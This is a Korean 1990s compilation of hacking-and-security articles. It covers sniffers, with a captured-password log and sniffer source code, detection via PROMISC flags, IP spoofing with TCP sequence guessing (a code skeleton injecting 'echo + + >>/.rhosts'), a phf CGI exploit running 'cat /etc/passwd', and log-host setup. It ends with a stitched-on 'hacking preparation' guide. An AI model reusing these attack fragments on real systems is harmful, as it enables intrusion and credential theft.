루트 쉘을 만드는 vi 라 는 자신의 프로그램을 만 든 후 위의 suid root
프로그램을 실행시킨다. 그러면 루트 권한으로 해 커의 프로그램이 실행되어
루트 쉘이 만들어진다.
/usr/openwin/bin/loadmodule, IRIX 4.0.x 의 /usr/lib/vadmin/serial_port 등을
그와 같은 조건을 이용해서 공격한다. 컴퓨터에 침입자가 있는지 어떻게
파악하는가 관리자의 지속적인 관심이 중요하다. 늘 시스템 로그를 확인하고
파일 시스템을 모니터한다면 조 금이라도 변화가 생기더라도 파악이 가능하다.
보안 관련 도구와 자료는 어디서 구할 수 있나
{{{{http://www.cert.org }} }}
{{{{http://www.8lgm.org }} }}
{{{{http://www.cert-kr.or.kr }} }}
news://comp.security.unix
{{{{ftp://ftp.cert.org }} }}
{{{{ftp://coast.cs.purdue.edu }} }}
{{{{ftp://ftp.cert-kr.or.kr }} }}
파이어월은 어느 선까지 신뢰할 수 있나
설치를 하는 사람의 보안 지식 및 파이어월 툴킷 매뉴얼에 대한 이해 정도에
따라 편차가 심하 다. 상당수의 파이어월은 잘못 셋업된 채 운영된다.
시스템 및 네트워크 모니터링으로 인한 성능저하와 개개인의 프라이버시
침해문제 는 어떻게 해결하나? 시스템 모니터링으로 인한 성능 저하는 거의
없다고 보아도 좋다. 세션 모니터 툴인 ttywatcher나 파일 시스템 모니터 툴인
tripwire는 관리자가 필요할 때 잠시 사용하거나 cron job으로 실행되기 때문에
별다른 영향이 없다. 그러나 네트워크 모니터링은 엄청난 성능 저하를 가져온다.
썬의 nit 를 사용하면 필터 패턴에 따라 달라지긴 하지만 30~70% 까지의 패킷
손실이 생기므로(spray했을 때) 네트워크 쪽의 퍼포먼스가 많이 떨어진다.
그래서 tcpdump 3.0부터는 BPF(BSD Packet Filter)를 사용하여 스택 구조를
사용하는 Sun의 NIT보다는 10~150배, CSPF(CMU/Stanford Packet Filter) 보 다는
1.5~20배 빠른 성 능향상을 거두었다(Comment by {{{{chan@ra.snu.ac.kr }} }})
개인의 프라이버시 침해 문제는 관리자의 도덕성에 달려 있는데 외국에서는
시스템, 혹은 시큐리 티 관리자는 반드시 선서를 거 친다고 한다. 보안을
일방적으로 강화하다 보면 컴퓨터의 편리성이 떨어진다고 하는데, 어느 선 까지
보안을 강화하는 게 바람직한가. 일례로 X윈도우 시스템의 보안을 강화하는
것으로 MIT-MAGIC-COOKIE 라는 토큰방식을 이용한 xauth라는 프로그램이 있다.
그러나 이것의 사용방법은 가히 살인적이다. X 애플리케이션을 실행 할 때마다
일일이 토큰을 넘겨줘야 하기 때문이다. 따라서 적당한 선이 중요하다. 그리고
그것은 컴퓨터의 중요성에 밀접한 관계가 있다.
국가 정보기관의 호스트와 인터넷 실습용으로 사용 하는 대학의 낡은
워크스테이션을 비교해서 생각하면 된다. 실제로 국내의 많은 대학의 호스트들
은 전혀 보안이 고려되고 있지 않아서 초보 해커들의 좋은 연습 대상이 되기도
한다. 적당한 선을 실용적으로 규정지어 본다면 "관리자의 메일박스에
사용자들로부터의 불평 과 불만 메일이 시스템 로그 리포트 메일보다 더 많이
쌓이는 때이다" 최신 해킹 유형들 최근에는 해킹기술이 고도로 발달돼 예전에는
상 상할 수도 없었던 고난도의 해킹 기술들이 존재 하게 됐다. 예전에는
기껏해봐야 관리자의 실수나 OS에서 실수를 한 프로그램들을 악용해 관리자 의
권한을 얻는 것이 고작이었지만, 이제는 네트워크 상을 흘러 다니는 정보의
기본단위인 패킷 (packet: 네트워크상에 정보를 송수신할 때 가장 기본이 되는
정보단위)을 하나하나 조작해 해 킹 을 하게 됐다.
이런 고난도 해킹의 예는 패킷 스니퍼링(packet sniffing)과, IP 스푸핑(IP
Spoofing: IP 사기 치기), NFS(Network File System) file handle guessing, dns
server cache poisoning(네임 서버(IP 에 일대일 매치되는 네임 어드레스를
관리하는 호스트)에 잠입해 가짜 호스트들을 만들고 나오는 것) 등이 있는데
이중에서 스니퍼링 과 스푸핑에 대해서만 다뤄 보기로 하자.
가장 심각한 해킹 기술, Sniffing 패킷들은 이더넷 케이블을 타고 전송이 된다.
이 패킷들은 어떤 유저가 어느 호스트에 로긴했다 는 정보 따위를 가지고
있는데, 이더넷 디바이스를 컨트롤해 흘러가는 패킷에서 원하는 정보인 유저들의
패스워드를 알아내는 것 으로서 요즘 가장 심각한 문제가 되는 해킹 기술이다.
최근 해 커들의 공격들의 통계를 내본 자료를 보면 스니핑에 의한 공격이 가장
많은 것으로 나타나고 있 다.
스니퍼(Sniffer)란 무엇인가?
스니퍼는 네크워크의 한 호스트에서 실행되어 그 주위를 지나다니는 패킷들을
엿보는 프로그램 으로서 계정과 패스워드를 알아 내기 위해서 침입자들에 의해
자주 사용되는데 아무리 네트워크 보안에 신경을 쓴 호스트라도 주 변의
호스트가 공격당해서 스니핑을 위해 사용된다면 무력해질 수밖에 없다. 이해를
돕기 위해 실제 스니핑 세션을 가지고 설명한다.
mordor# ./sniffit Log started at => Mon Apr 8 20:29:04 [pid 10937] --
TCP/IP LOG -- TM: Mon Apr 8 20:29:44 -- PATH: rohan.kaist.ac.kr(1270) =>
gondor.kaist.ac.kr(telnet) STAT: Mon Apr 8 20:29:48, 30 pkts, 77 bytes
[TH_FIN] DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(253)^E(255)(251)#(255)(251)$(255)(250)^X :
IRIS-ANSI-NET(255)(240)(255)(253)^A(255)(252)^Aaragorn : evenstar : cls :
du -s -k * : elm awen -- TCP/IP LOG -- TM: Mon Apr 8 20:31:57 -- PATH:
mordor.kaist.ac.kr(2389) => gondor.kaist.ac.kr(telnet) STAT: Mon Apr 8
20:32:24, 106 pkts, 128 bytes [DATA LIMIT] DATA:
(255)(253)&(255)(251)&(255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(251)$(255)(253)^E(255)(251)#(255)(250)^_ : P :
^X(255)(240)(255)(250) : 9600,9600(255)(240)(255)(250)^X :
XTERM(255)(240)(255)(253)^A(255)(252)^Agaladriel : shwjdtjr=JD : : setenv
DISPLAY rohan.kaist.ac.kr:0.0 : ne
위는 스니퍼 프로그램을 돌린 결과이다.
gondor, mordor, rohan은 M학과의 전산실의 기계들인데 이미 침입자는
mordor에서 루트 권한을 따냈었고 스니퍼 프로그램을 실행시키고 있다(스니퍼가
동작하기 위해서는 네크워크 디 바이스의 조작이 필요한데 이는 루트(시스템
관리자)만이 할 수 있다).
그렇다면 물리적인 네크워크 구도에서 인접해있는 호스트 들은 모두 스니핑을
당하게 된다 . 처음 블럭에서 rohan에서 gondor로 aragorn이라는 계정으로
telnet 로긴을 한 것이 잡혔는데 이때 패스워드가 evenstar임을 알 수 있다.
그리고 로긴 직후에 실행한 몇몇 명령까지 잡혔다. 일반적으 로 스니퍼
프로그램은 비교 적 작은 크기의 제한된 버퍼를 사용하는데 필요에 따라 그것을
늘이 기도 한다. 이더넷의 설계상 약점과 네트워크 스니퍼의 원리 가장 일반적인
LAN의 구성 방법은 이더넷을 사용하는 것으로 주변에서 가장 쉽게 접하는 경우이
다. 이더넷을 통한 통신 방법은 매우 간단하다. A라는 호스트가 B라는 호스트로
패킷을 보내고 싶다면 호스트 A는 B와의 배타적 인 연결을 통하는 것이 아니라
그 패킷을 이더넷에 뿌린다. 그 리고 그 패킷은 일반적으로 수신 주소의
호스트만이 받도록 기대된 다. 즉 일반적으로 자신에게 오지 않는 패킷은 받지
않으므로 호스트 B만이 A가 보내는 패킷을 받게 된다. 그러나 그것은 기대
사항일 뿐 언제라도 깨어질 위험부담을 안고 있는 프로토콜이다. 네크워크
디바이스는 자신에게 오지 않고 다른 호스트를 향해 지나가는 패킷까지 받는
상태에 들어갈 수 있는데, 그때를 'Promiscuous mode'라고 부른다.
스니퍼는 바로 그 상태에서 동작한다.
이렇게 네 트워크의 설계상의 커다란 약점이 있기 때문에 스니퍼에 의한 공격은
치명적이며 일부 OS를 제 외하고는 찾아내기가 곤란한 경우가 많고 막기
위해서도 많은 부담이 따른다. 스니퍼의 설계 스니퍼는 너무나 쉽고, 비열하게
해킹을 할 수 있기 때문에 해커들 간에서는 스니퍼를 이용하는 해커를 3류
취급해 상대도 하지 않는다. 이처럼 스니퍼는 해커들 사이에서조차
금기(?)시되는 치 사한 프로그램이지만 그 자체로 는 아주 훌륭한 네크워크
프로그램이다. 실제로 대부분의 네트워 크 분석 프로그램들은 Promiscuous
mode에서 동작하며 또 그럴 수밖에 없다. 그리고 스니퍼의 핵심을 이루는 코드는
대부분의 OS에서 독립된 프로토콜로서 지원을 하는데 SunOS의 NIT, IRIX의
SNOOP이 좋은 예이다. 잘만 이용하면 침입자들을 상대하는 관리자들에게 큰
무기가 될 수 있다. 네트워크를 감 시하는 데 사용할 수 있다는 말 이다.
netlog({{{{ftp://ftp.cert-kr.or.kr/pub/tools/etc/netlog/netlog -1.2.tar.gz
}} }})라는 좋은 툴이 이미 있다.
이 툴의 성격을 잘 말해주듯이 telnet과 ftp의 모듈은 제외돼 있다.
패스워드 스니핑에 사용되는 것을 막기 위함일 것이다. 스니퍼는 일반적으로
다음과 같은 일련의 동작을 하는 코드로 구성된다. 네트워크 디바이스를 열어서
Promiscuous mode로 만든다. 지나가는 모든 패킷을 읽는다. 패킷을 필터링해서
발신 및 수신 주소, 서비스(telnet, rlogin, ftp, smtp 등), 그리고 계정과 패
스워드가 포함된 데이터를 구분해서 출력한다. 3번의 기능을 하는 코드가 생략된
스니퍼 소스를 참고로 소개한다. IRIX에서 SNOOP을 사용해 제 작되었다.
/* sgisniff.c by poison@baikdu.kaist.ac.kr uses SNOOP(7P) tested on IRIX
5.2, 5.3 */ #include #include #include #define ETHERHDRPAD
RAW_HDRPAD(sizeof(struct ether_header)) struct etherpacket { struct
snoopheader snoop; char pad[ETHERHDRPAD]; struct ether_header ether; char
data[ETHERMTU]; }; main() { int s; struct sockaddr_raw sr; struct
snoopfilter sf; struct etherpacket ep; int cc = 60000, on = 1; char
buf[100]; s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP); sr.sr_family =
AF_RAW; sr.sr_port = 0; strncpy(sr.sr_ifname, "ec0", sizeof sr.sr_ifname);
bind(s, &sr, sizeof sr); memset((char *)&sf, 0, sizeof sf); ioctl(s,
SIOCADDSNOOP, &sf); setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc,
sizeof cc); ioctl(s, SIOCSNOOPING, &on); for (;;) { cc = read(s, (char *)
&ep, sizeof ep); write(1, (char *)&ep, sizeof ep); sleep(2); } }
스니퍼, 그 대책과 예방
스니퍼 탐지 스니퍼는 Promiscuous mode에서 동작하기 때문에 네크워크
디바이스의 상태 플래그에 'PROMISC' 가 있다면 일단 스니퍼가 돌고 있다고
생각해도 좋다. SunOS 4.1.x 같은 BSD 계열의 유닉스나 IRIX에서는 'ifconfig'를
사용해서 스니퍼의 존재를 확인할 수 있으나 대부분의 다른 유닉스(특히
Solaris)에서는 그것이 불가능하 다.
[baikdu:/circ/kus/poison 2 ] uname -a SunOS baikdu 4.1.3-KL 3 sun4m
[baikdu:/circ/kus/poison 3 ] ifconfig le0 le0: flags=163 inet 143.248.1.8
netmask ffffff00 broadcast 143.248.1.0 [eru:/eldar/people/poison 16 ] uname
-a IRIX eru 5.3 11091812 IP22 mips [eru:/eldar/people/poison 17 ] ifconfig
ec0 ec0: flags=d63 inet 134.75.100.53 netmask 0xffff0000 broadcast
134.75.255.255
SunOS 4.1.3, IRIX 5.3 에서 스니퍼 프로그램을 실행시키면서 ifconfig로
확인하면 다음과 같 다.
두 기계에서 모두 flags를 나타내는 행에 'PROMISC'가 있는 것으로 스니퍼가
확인된다. SunOS 4.1.x에서 사용 가능한 cpm이라는 프로그램이 있는데
ifconfig로 플래그를 조사하는 것과 같은 기 능을 가진다. 일반적으로 스니퍼는
로그 파일을 만들어 데이터를 모은다. 따라서 그 로그 파일을 찾을 수 있으면
스니퍼를 찾기가 쉬어진다. 우선 다음과 같은 간 단한 방법이 있다. 다른
호스트로 연결을 하면 스니퍼 로그 파일에 로그가 새로 만들어지게 되므로 미리
만들어 두 었던 /tmp/sniff_trap이란 파일을 기준으로 해 찾을 수가 있다. 단
빠른 결과를 위해 루트에서 프로 세스의 우선권을 최대로 한다. 보다 확실히
하기 위해서 현재 열려져 있는 모든 파일의 리스트를 알 수 있다면 그 속에
스니퍼 로그 파일도 포함돼 있을 것이 므로 스니퍼를 찾는데 도움이 된다.
lsof({{{{ftp://ftp.cert-kr.or.kr/pub/tools/lsof }} }}) 이라는 툴 의 사용을
권한다. 스니퍼 로그 파일을 찾아 없앴다면 스니퍼 프로세스를 찾도록
노력해본다. 시스템을 리부팅하면 되겠지만 그보다 침입자를 추적 하고 싶다면
그 프로세스를 직접 찾아내는 것이 바람직하다. 루 트로 실행되고 있는 프로세스
중 에서 수상한 것들을 찾는다.
./a.out, ./in.telnetd, in.uucpd 등으로 숨겨지는 게 보통인데 알아내기
어렵잖다.
# touch /tmp/sniff_trap
# telnet gondor.kaist.ac.kr
SunOS UNIX (gondor)
login: blah
Password:
Login incorrect login:^D Connection closed by foreign host. # nice -19 find
/ -newer /tmp/sniff_trap -print BSD ps(/usr/ucb/ps)가 사용 가능하다면
e옵션을 추가해서 프로세스가 시작됐을 때의 환경변수를 알아내어 어떤 계정이
해킹에 사용됐는지를 알아낼 수 있다. 어떻게 예방해야 하나? 스니퍼에 대비하는
방법의 원칙은 패스워드가 네트워크를 통해 전달되지 않게 하는 것이다. 그것 의
구현은 암호화를 이용하거나 (secure shell, kerberos) 패스워드를 대신하는
토큰을 이용(S/key)하 는 것을 예로 들 수 있다. 그런 부류의 소프트웨어들은 상
당수가 제작돼있는데 그중 공개 소프 트웨어인 ssh(Secure Shell:
{{{{http://www.cs.hut.fi/ssh }} }})이 사용하기에 가장 무난하다 . 이것은
패킷을 암호화해 sshd(서버)에게 보내는 ssh,scp(클라이언트)가 telnet, rlogin,
ftp를 대신하 는 패키지이다.
               다음 페이지로..
              





해킹정보..
좀더 고수준의 해킹 방법중의 하나인
spoofing에 대해서 알아보도록 하자.
IP 스푸핑이란?
spoof란 단어는 '속이다, 사기치다'는 뜻이다.
즉 쉽게 설명하면 해커가 머물러있는, 또는 단순히 악용하고자 하는 호스트의 IP
어드레스를 바꾸어서 이를 통해 해킹을 하는 것이다.
가령 A란 호 스트와 B란 호스트가 하드디 스크를 공유하고 있는데 A 란 호스트와
B란 호스트는 보안이 잘 되 어서 해킹하기가 보통 어려운 것이 아니라고 하자.
하지만 어떻게서든지 B란 호스트 안에 있는 일급 극비 문서를 훔쳐오고 싶다면
어떻게 해야 할 까?
그렇다면 해커의 최선의 선택 방법은 다음과 같다.
우선 자신이 머물러 있는 호스트의 IP 어 드레스를 B의 어드레스로 위장을 한다.
위장을 하면 B 의 호스트의 화면에는 duplicated IP address 라는 문장이 찍히게
되고 B호스트는 네트워크 기능을 잠시 상실하게 된다.
이때를 놓치지 않고 해커의 호스트는 A 호스트에게 자신이 진짜 B호스트라는
정보를 보내어 A호 스트와 같이 하드 디스크를 공유 하도록 시도한다.
성공하게 되면 해커는 A호스트의 하드디스크 에 있는 극비 문서를 A호스트나 B
호스트에 잡입하지 않고도 얻어낼 수 있게 된다.
또한 IP 스푸핑과 항상 연동돼 사용되는 공격법으로 TCP sequence number
guessing attack을 들 수 있다.
이에 대해서도 잠시 설명해볼까 한다.
TCP Sequence Number Guessing Attack이란?
과거에 Internet worm의 저자로도 유명했던 Robert T.Morris가 벨 연구소에서
인턴쉽으로 일할 때 썼던 논문에서 처음으로 알려 졌고 AT&T사의 Bellovin S.M이
89년에 쓴 논문에서도 언급이 되었 던 공격 방법이다(Security Problems in the
TCP/IP Protocol Suite).
케빈 미트닉이 사용한 방법 또한, 이런 공격을 이용해 작년도에 시큐리티계를
떠들석하게 했었던 사건이 하나 있다.
바로 케 빈 미트닉이 시모무라 쓰토무( 슈퍼컴퓨터 센터 소속 연구원)의
컴퓨터를 공격해 자료를 빼간 뒤 관리자인 시모무라 쓰토무를 조롱하고 달아난
사건이다.
케빈 미트닉은 상당기간 동안 잡히지 않 다가 시모무라 쓰토쿠의 눈물겨운
추적끝에 간신히 잡힌 것으 로 이 사건은 결말나게 되었다.
케 빈 미트닉이 체포되어 잡혀가면서 시모무라에게 "당신의 실력은 정말
놀라왔소." 라고 말해 더 유 명해진 사건이기도 하다.
바로 이 사건에서 케빈 미트닉이 쓴 방법도 TCP Sequence Number guessing
attack의 특 별한 한 형태라고 할 수 있다 . (미트닉이 사용한 방법은 IP
어드레스를 spoof 해서 Berkerly R-command(rlogin, rcp , rsh 등 등)를 공격한
방법이었다.)
자 이제, IP Spoofing과 TCP Sequence number guessing attack을 자세히
알아보자.
간단히 A와 B라 는 호스트가 서로를 trust하 고 있다고 가정하자.
자신의 PC의 IP 어드레스를 B라는 호스트로 바 꾸고 A에게 접근하면 가능성 이
있지 않겠느냐라고 의문을 제 기하는 분이 계실지도 모르겠으나 자신의 위치가
B라는 호스트가 위치한 곳보다 A보다 훨씬 더 시간적으로 유리한 위치, 즉 LAN
에서나 가능할 법한 이야기다.
그 외의 경우에는 거의 소용이 없다고 보아도 무방하다..
자신의 IP 어드레스를 변조해도 B라는 trusted host가 A에게로 도달하는 거리가
멀 뿐만 아니라. 자신의 서브넷에서 다른 IP 어드레스를 가진 패킷을 날린다는
것은 라우팅 상의 문제를 비롯해 갖가지 문제점이 제기된다.
그럼 케빈 미트닉이 Berkeley R-commands를 공격하는 경우를 예로 들어서 IP
spoofing 이 어떻게 작용하나에 대해서 알아보기로 하자.
예를 들어 해커의 호스트를 evil.com이라 하고 target.com을 공격하기 위해서
target.com과 good.com간의 trusting Relationship을 이용하고자 한다.
즉 , target.com # cat /.rhosts good.com root target.com # 간단히 evil.com의
IP 어드레스를 good.com의 IP 어드레스로 바꾼 다음에target.com의 rsh server에
접속하려고 시도했다 하자.
이 경우에는 TCP가 갖고 있는 Initial 3-way 핸드셰이킹 때문에 커넥션 이
이뤄지지 않는다.
TCP 의 Initial 3-way 핸드셰이킹 의 예를 우선 들어보자.
evil.com# telnet target.com login 할 경우 evil.com -> target.com SYN
1415531521 // evil.com이 Initial sequence number 를 보낸다.
target.com -> evil.com ACK 1415531521 SYN 1823083521 // target.com이
evil.com이 보낸 ISN을 ACK하고 target.com이 자신의 // Initial sequence
number 를 보낸다.
evil.com -> target.com ACK 1823083521 // evil.com이 target.com의 ISN을
ACK한다.
위와 같은 패킷이 교환된다.
TCP 헤더의 SYN 플래그는 'synchronize sequence numbers'이다. SYN 플래그는
TCP Sequence Number를 동반하는데 이 넘버는 TCP/IP implementation마다
생성되는 방 법이 약간씩 다르다. 4.4BSD에서는 OS가 초기화될 때 1로 초기
화되고 그 후는 0.5초마다 64,000 씩 증가한다. 또한 새로운 TCP 커넥션이
만들어질 때마다 64,000 씩 증가한다.
단순히 evil.com의 IP 어드레스를 바꾸는 것만으로는 target.com이 evil.com한테
보내는 ISN을 받을 수가 없고(왜냐면 target.com은 good.com에게 ISN을
보내겠지요. 라우팅이 그렇게 되어 있을 테니 까.) 따라서 커넥션이 성립되지
않는다.
커넥션이 establish되려면 good.com이 target.com이 보내는 ISN이 보내는 패킷에
응답을 하지 말아야할 뿐만 아니라(보통의 경우 good.com은 이럴 경우 RST(Reset
connection) 패킷을 보내서 모든 것을 망친다) target.com이 good.com에게 보낸
ISN을 추 측해서 ACK해줘야 한다. 이 두 스텝이 완벽하게 됐을 경우 echo '+ +'
>/.rhosts 을 담은 rsh 패킷 을 보내 원하는 목적을 이룰 수가 있다.
IP spoofer의 대략적인 코드 hose_conn(trust_host, trust_addr, seq_num,
port_num) { ... /* sendtcppacket( struct ether_addr source_hardware addr.
struct ehter_addr dest_hardware addr. u_long source ip addr. u_long dest ip
addr. u_short source port. u_short dest port. u_long sequence no. u_long
acknowledge no. int flags (SYN, RST, ACK, PUSH, FIN) char * data int
strlen(data) */ sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost),
bad_addr, trust_addr, port_num[i], 513, seq_num, 0, TM_SYN, NULL, 0); ... }
det_seq(targ_host, targ_addr, next_seq, offset) { ... / 커넥션을 요구하는
패킷의 전송 / sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), my_addr,
targ_addr, start_port, 514, start_seq, 0, TM_SYN, NULL, 0); /* readpacket(
struct fddi_header fddi_header struct ether_header ether_header struct ip
ip_header struct udphdr udp_header struct tcphdr tcp_header char * data int
strlen(data) ) */ while(readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL,
NULL) != PTYPE_IP_TCP) ;
if(ntohs(tcph.th_dport)==start_port &&ntohs(tcph.th_sport)==514) { /
포트번호가 맞다면 reply 패킷으로 간주하고 guessing을 시작한다 /
if(prev_seq) diff=tcph.th_seq-prev_seq; else diff=0; if(*offset==0)
*offset=diff; prev_seq=tcph.th_seq; sendtcppacket(&(eh.ether_shost),
&(eh_ether_dhost), my_addr, targ_addr, start_port++, 514, start_seq++, 0,
TM_RST, NULL, 0); ... } spoof_conn(trust_addr, targ_host, targ_addr,
next_seq) { char *string="0\0root\0root\0echo + + >>/.rhosts\0"; / SYN
패킷을 고유한 시퀀스 번호에 맞춰 전송 / sendtcppacket(&(eh.ether_shost),
&(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq++, 0, TM_SYN,
NULL, 0); usleep(5000); / guess한 시퀀스번호에 맞춰 ACK 패킷을 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr,
port, 514, seq, ++next_seq, TM_ACK, NULL, 0); / rsh request를 시퀀스번호와
ACK번호에 맞추어 전송 / sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost),
trust_addr, targ_addr, port, 514, seq, next_seq, TM_ACK, string,
stringlen); seq+=stringlen; / 전송한 패킷이 ACK되어 처리되기를 기다린다 /
sleep(1); / 새로운 시퀀스번호에 맞추어 FIN패킷을 전송 /
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr,
port, 514, seq, next_seq, TM_FIN, NULL, 0); / RST패킷 전송, 커넥션 파기./
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr,
port, 514, seq+4, next_seq+4, TM_RST, NULL, 0); ... } main(argc, argv) { /*
initialization of the packet */ init_filter("tcp", NULL); /* trusted host의
513번 포트에 대해 flooding 시작 */ hose_trusted(argv[1], trust_addr,
seq_num, port_num); /* guessing Sequence Number */ det_seq(argv[2],
targ_addr, &next_seq, &offset); /* 실제 spoofing한 커넥션을 시작. 이때에는
다음 시퀀스번호를 알고있다 */ spoof_conn(trust_addr, argv[2], targ_addr,
next_seq); /* 모든 커넥션을 reset. */ reset_trusted(argv[1], trust_addr,
seq_num, port_num); exit(0); } * IP spoofing 에 대해서는 다음의 정보를
참조하자. {{{{ftp://ftp.research.att.com/dist/internet_security }} }}
Bellovin paper : ipext.ps.Z -> "Security Problems in the TCP/IP Protocol
Suite" Morris paper : 117.ps.Z -> "A Weakness in the 4.2BSD Unix TCP/IP
Software" CERT_advisory CA-95:01.IP.spoofing
넷스케이프를 이용한 해킹
마지막으로 최근 많은 인기를 얻고 있는 넷스케이프를 이용해 해킹하는 기법에
대해 살펴보자.
NCSA HTTPD를 이용한 해킹 참조:
CERT Advisory CA-95:04 CIAC Advisory F-11: UNIX NCSA httpd Vulnerability
NCSA HTTPD를 돌리는 호스트의 관리자들은 소스에 CERT Advisory CA-95:04에서
제시한 패치 를 적용한 후 돌려주기 바란다. httpd 프로세스가 작동하는 동안
외부의 해커가 아무런 인증 절차 없이 NCSA httpd가 임의의 명령어를 수행하도록
할 수 있다. 비록 machine instruction level이어서 공격당하기 그리 쉬운
버그는 아니지만 주의가 요구되는 바이다. 현재 NCSA에서는 이 홀을 패치 한
소스와 바이너리 버전 1.3R을 내놓고 있다. 또한 NCSA의 cgi-bin의 예제로
따라오는 프로그램 중 phf라는 프로그램이 있다.
이 프로그램의 문 제는 popen(3S)이 새로운 라인이 들어올 경우 새로운 command
로 인식하기 때문에 문제가 발생한 다. cgi-bin 프로그램이 popen을 사용할 경우
다음과 같은 류의 프로그램을 이용해 쉽게 exploit될 수 있다. 아래의 코드는
기본적으로 NCSA에 딸려오는 /cgi-bin/phf 를 이용하고 있다. 언론의 성격상
전부를 싣지는 않고 주요한 부분만을 싣는 것을 양해해 주기 바란다.
/* Usage : get hostname 'command you wanna execute' EX : get targethost
'cat /etc/passwd' */ /* 주요 함수 몇 가지만을 적었다. */ int writen( fd ,
buf, nbytes ) register int fd ; register char *buf ; register int nbytes ;
{ int nleft , nwritten ; nleft = nbytes ; while( nleft >0 ) { nwritten =
write( fd , buf , nleft ); if( nwritten }} {{ }}{{ }}/usr/adm/lastlog {{
}}각 유저마다 가장 최근의 로그인 시간을 기록한 다. finger 나 someone 에
의해 알 수 있다. {{ }}{{ }}/etc/utmp {{ }}유저가 로그인할 때마다 시간을
적어둔다. {{ }}{{ }}/usr/adm/wtmp {{ }}유저가 로그인/로그아웃할 때 시간을
적어둔다. last 또는 last someone 의 명령을 쳐서 내용을 알 수 있다. {{ }}{{
}}/usr/adm/acct {{ }}유저들이 사용하는 명령어를 적어둔다. lastcomm 을 치면
내용을 알 수 있다. {{ }} 하지만, 실제로 해커들은 이 모든 파일들을 지우고
나가는 것이 보통이며(생각을 보라, 나갈 때 자기가 들어왔다는 증거를 입멸
하고 나가는 것이 해커의 입장으로서는 당연한 것이 아니겠는가), 따라서 일정한
시간 간격마다 혹은 하루의 어느 때에 수행하도록 제어해주는 cron명령을 이용해
계속 위의 파일을 백업을 한다 면 해커를 좀더 어렵게 만들 수 있겠다. 이는
관리자에게 필요 한 부분이지만, 안전한 호스트를 선택해 log만을 남기는
호스트를 두면 더욱 확실하다.(이는 물론 장 비에 여유가 있을 때의 이야
기이다)
예를 들면, /etc/syslog.conf 에서 정의를 하도록 하자.
# # syslog configuration file # define LOGHOST eve
*.err;kern.debug;auth.notice;user.none /dev/console mail.debug
ifdef('LOGHOST',/var/log/syslog,@loghost) mail.debug /var/log/syslog 로그
호스트를 설정한 예를 들어보자. 다음 로그는 로그 호스트인 eldar 의 로그
파일에 기록된 것이다. elbereth, luthien, be ren, eru, frodo, sam, aragorn,
gandalf, faramir, legolasgimli, indigo1,3,4,10, applic이 eldar로 로그를 보
내도록 설정돼있다. Mar 17 02:43:28 6C:eldar fingerd[17516]: connect from
baikdu.kaist.ac.kr Mar 17 02:43:42 6D:eldar ftpd[17518]: connection from
baikdu.kaist.ac.kr Mar 17 02:43:54 5E:eldar ftpd[17518]: FTP LOGIN FAILED
FROM baikdu.kaist.ac.kr, chester Mar 17 02:44:15 6E:eldar ftpd[17518]: FTP
LOGIN FROM baikdu.kaist.ac.kr as chester Mar 17 09:37:16
6C:luthien.seri.re.kr sendmail[10578]: JAA10572: to=sysuh@kigam.re.kr,
ctladdr=news (15/15), delay=00:0 0:09, mailer=smtp, relay=sdp.kigam.re.kr.
[134.75.144.201], stat=Sent (JAA15213 Message accepted for delivery) Mar 17
13:31:46 6B:frodo.seri.re.kr Xsession: poison: login Mar 17 13:40:32
6C:gimli.seri.re.kr ftpd[533]: connect from eve.kaist.ac.kr Mar 17 13:49:32
6D:indigo1.seri.re.kr ftpd[533]: connection from robin.kaist.ac.kr
이런 방법 외에도 파이어월, TCP wrapper 등을 이용해 아예 외부에서의 접근을
막아버릴 수 있 다.
물론 tcpdump나 netmon들을 사용해 자신의 호스트로의 모든 접근을 감시할 수도
있다. 이와 같이 방어하는 기술도 점점 고도 화가 되어 고 수준의 해커가 아니
면 침투하기 어려운 호스트가 늘어가고 있다. 그 무수한 버그들을 모두 머리에
외어두고 이를 모두 패치하기란 상당히 어려운 일이다. 이런 경 우에는 보안툴을
이용하여 체크를 하는 것이 많은 시간을 절약할 수 있게 된다.
         Network 해킹과 보안
 지금까지 너무도 많은 분들이 네트워크 해킹과 보안에 굉장히 많은 관심을 가지고 계셨을 거라
생각합니다.

 먼저 네트워크 해킹에는 어떤한 장비나 환경이 꾸며져 있어야 하는지 알아보겠습니다.


 ■ 네트워크 해킹 준비물 ■

 1.인터넷 접속을 위한 장비 인터넷 전용선을 사용하는 분이라면 자신의 PC(단말기)에 LAN카드가
있어야 겠죠?
 전화선을 이용해서 인터넷에 접속을 해야하는 분은 Modem이 달려 있어야 합니다.
 물론 Modem을 통해 인터넷에 접속을 위해서는 인터넷 서비스에 가입이 되어 있어야 겠죠?
 2. NetWork와 Mutitasking이 지원되는 OS(Win95/NT, Linux 등) 실제로 해킹과정에서는 단말기를
여러개 띄워야 할 경우가 많습니다. 그래서 Mutitasking이 지원되면 좋습니다.
 3. 네트워크 용 프로그램(NetTerm, WS-FTP 등) 다른 시스템에 접근을 하기 위해서는 Telnet이나
Ftp 등을사용합니다. 네트워크가 가능한 OS에서는 기본적으로 제공을 하지만 좀더 편리한 전용
프로그램을 사용하세요.
 4. 해킹도중에는 자신의 컴퓨터에서 하는 일은 그리 많지 않기 때문에 하드웨어 사양은 그리
상관은 없지만 좋으면 좋을
 수록 좋겠죠? 하지만 Modem은 속도가 빠른 것을 사용하십시오. 전화비 문제도 있고... 참고로
자신의 PC에 Windows NT server를 사용하고 다른 NT Server에 전화를 걸어 접속한 후 Call Back
서비스를 받으면 전화비를 들이지 않고도 인터넷을 마음대로 사용할 수 있습니다. 좋겠죠?


 ■ Root 암호 알아내기 ■

 자! 모든것이 준비가 되었다면 이제 시작해 봅시다.
 대분분 네트워크 서비스를 하는 서버들은 OS를 UNIX계열을 사용합니다.
 그래서 유닉스 공부를 하셔야 합니다.
